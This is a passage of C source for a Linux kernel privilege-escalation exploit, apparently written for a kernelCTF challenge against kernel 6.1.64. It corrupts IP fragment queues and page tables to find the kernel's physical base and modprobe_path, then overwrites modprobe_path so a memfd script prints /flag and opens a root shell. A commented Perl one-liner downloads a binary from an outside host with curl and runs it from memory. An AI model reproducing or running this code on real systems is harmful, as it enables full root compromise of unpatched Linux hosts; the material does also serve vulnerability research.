		//usleep(30 * 1000);  // env:qemu-debug,kernel:debug,fs:debian,redirect:stdout env:qemu-debug,kernel:debug,fs:debian,redirect:none
		usleep(20 * 1000); // env:qemu-debug,kernel:lts-6.1.64,fs:debian,redirect:none env:kernelctf,kernel:lts-6.1.64,fs:debian,redirect:none

		alloc_intermed_buf_hdr(32768 + 8, &df_ip_header);

		sleep(9999);
	} else {
		// append to ip packet with fragment to free packet on *this* cpu
		// offset <<= 3, so divide by 8 aka >> 3 (this is so we have 3 bits for fragmentation flags)
		// setup ipfrag_time timer for fragment expiration / waiting for frags
		df_ip_header.ip_id = 0x1337;
		df_ip_header.ip_len = sizeof(struct ip)*2 + 32768 + 24;
		df_ip_header.ip_off = ntohs(((32768 + 8) >> 3) | 0x2000);
		
		SYNC_CPU0();
		
		// skb1->len gets overwritten by s->random() in set_freepointer(). need to discard queue with tricks circumventing skb1->len
		// packet body len 0 causes end == offset in ip_frag_queue(). packet will be empty
		// remains running until after entire queue is freed
		alloc_intermed_buf_hdr(0, &df_ip_header);

		*pmd_area = 0xCAFEBABE;
		
		df_ip_header.ip_id = 0x1338;
		df_ip_header.ip_len = sizeof(struct ip)*3 + 32768 + 32;
		df_ip_header.ip_off = ntohs(((32768 + 16) >> 3) | 0x2000); 
		alloc_intermed_buf_hdr(0, &df_ip_header);

		*(unsigned long long*)pud_area = 0xDEADBEEF;

		// ==== NEXT PHASE: acquiring physical kernel base address ====

		flush_tlb(memdump_info, pmd_area, 0x1000);

		printf("[*] PTE for PUD page: %016llx\n", pmd_area[0]);

		for (unsigned short j=0; j < 512; j++)
			pmd_area[j] = (CONFIG_PHYSICAL_START * (j+1)) | 0x8000000000000867;

		flush_tlb(memdump_info, pud_area, 0x200000);

		// get physical kernel base based on initial page's bytes
		// - this "kernel base" is actually the assembly bytecode of start_64() and variants
		// - it's different per architecture and per compiler (clang produces different signature than gcc)
		// - this can be derived from the vmlinux file by checking the second segment, which starts likely at binary offset 0x200000
		//   - i.e: xxd ./vmlinux | grep '00200000:'
		
		int kernel_pud_pte_index = -1;
		for (int i=0; i < 512; i++) {
			// x64-gcc/clang signature of first instructions a.k.a. `lea rsp, [...]`
			if (is_kernel_base(pud_area + i * 0x1000)) {
				kernel_pud_pte_index = i;
				break;
			}
		}

		if (kernel_pud_pte_index == -1)
		{
			printf("[!] failed to find kernel code segment?!\n");
			memdump_info->exploit_status = EXPLOIT_STAT_FAIL;
			exit(1);
		}

		unsigned long long physical_kernel_addr = kernel_pud_pte_index * CONFIG_PHYSICAL_START;
		printf("[+] found kernel phys addr: %016llx\n", physical_kernel_addr);

		// ==== NEXT PHASE: acquiring modprobe_path base address ====

		// scan 512 * 0x1000 = 0x200000 bytes for modprobe path, and increment if not found
		void *pud_modprobe_addr = NULL;
		int scan_iterations = 0;
		while (pud_modprobe_addr == NULL) {	
			for (unsigned short j=0; j < 512; j++)
				pmd_area[j] = (physical_kernel_addr + 0x200000 * scan_iterations + 0x1000 * j) | 0x8000000000000867;

			flush_tlb(memdump_info, pud_area, 0x200000);
			
			PRINTF_VERBOSE("[*] scanning for '%s' in 0x200000++ addresses beyond kernel base %016llx, pud val: %016llx...\n", modprobe_path, physical_kernel_addr, *(unsigned long long*)pud_area);
			pud_modprobe_addr = memmem(pud_area, 0x200000, modprobe_path, KMOD_PATH_LEN);
			scan_iterations++;
		}

		printf("[+] found modprobe path: '%s' @ %p\n", (char*)pud_modprobe_addr, pud_modprobe_addr);

		// ===== NEXT PHASE: privesc using modprobe_path overwrite =====

		// run this script instead of /sbin/modprobe
		int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
		int status_fd = memfd_create("", MFD_CLOEXEC);

		printf("[*] modprobe_script_fd: %d, status_fd: %d\n", modprobe_script_fd, status_fd);

		for (pid_t pid_guess=0; pid_guess < 65536; pid_guess++)
		{
			char buf;

			// overwrite the `modprobe_path` kernel variable to "/proc/<pid>/fd/<script_fd>"
			// - use /proc/<pid>/* since container path may differ, may not be accessible, et cetera
			// - it must be root namespace PIDs, and can't get the root ns pid from within other namespace
			MEMCPY_HOST_FD_PATH(pud_modprobe_addr, pid_guess, modprobe_script_fd);

			if (pid_guess % 100 == 0)
				printf("[+] setting new modprobe paths (i.e. '%s' @ %p)...\n", (char*)pud_modprobe_addr, pud_modprobe_addr);
			
			lseek(modprobe_script_fd, 0, SEEK_SET); // overwrite previous entry
			dprintf(modprobe_script_fd, "#!/bin/sh\necho -n 1 > /proc/%u/fd/%u\ncat /flag >/dev/console\n/bin/sh 0</dev/console 1>/dev/console 2>&1\n", pid_guess, status_fd);

			// when pid is correct, run custom modprobe file as root, by triggering it by executing file with unknown binfmt
			modprobe_trigger_memfd();

			// indicates success and stops further bruteforcing
			int status_cnt = read(status_fd, &buf, 1);
			if (status_cnt == 1)
			{
				printf("[+] successfully breached the mainframe\n");
				break;
			}
		}

		printf("[*] exiting exploit...");

		// prevents kernel crash due to bad pagemap
		memdump_info->exploit_status = EXPLOIT_STAT_SUCCESS;
		
		sleep(9999);
	}
}

/*
perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  open(my $fh, ">&=".$fd);
  print $fh `curl http://172.23.0.1:1337/main -s`;
  exec {"/proc/$$/fd/$fd"} "memfd";
'
*/

int main()
{
	struct shared_info *status_mem;

	status_mem = mmap(NULL, sizeof(*status_mem), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	status_mem->mem_status = MEM_STAT_DO_IO;
	status_mem->lock_status = LOCK_STAT_NONE;
	status_mem->exploit_status = EXPLOIT_STAT_RUNNING;

	// detaches program and makes it sleep in background when succeeding or failing
	// - prevents kernel system instability when trying to free resources
	if (fork() == 0)
	{
#if CONFIG_REDIRECT_LOG
		setup_log("exp.log");
#endif

		setup_env();

#if CONFIG_DO_SMP
		privesc_flh_bypass(status_mem);
#else 
		privesc_no_smp(status_mem);
#endif

		sleep(9999);
	}

	// prevent premature exits
	SPINLOCK(status_mem->exploit_status == EXPLOIT_STAT_RUNNING);

	return 0;
}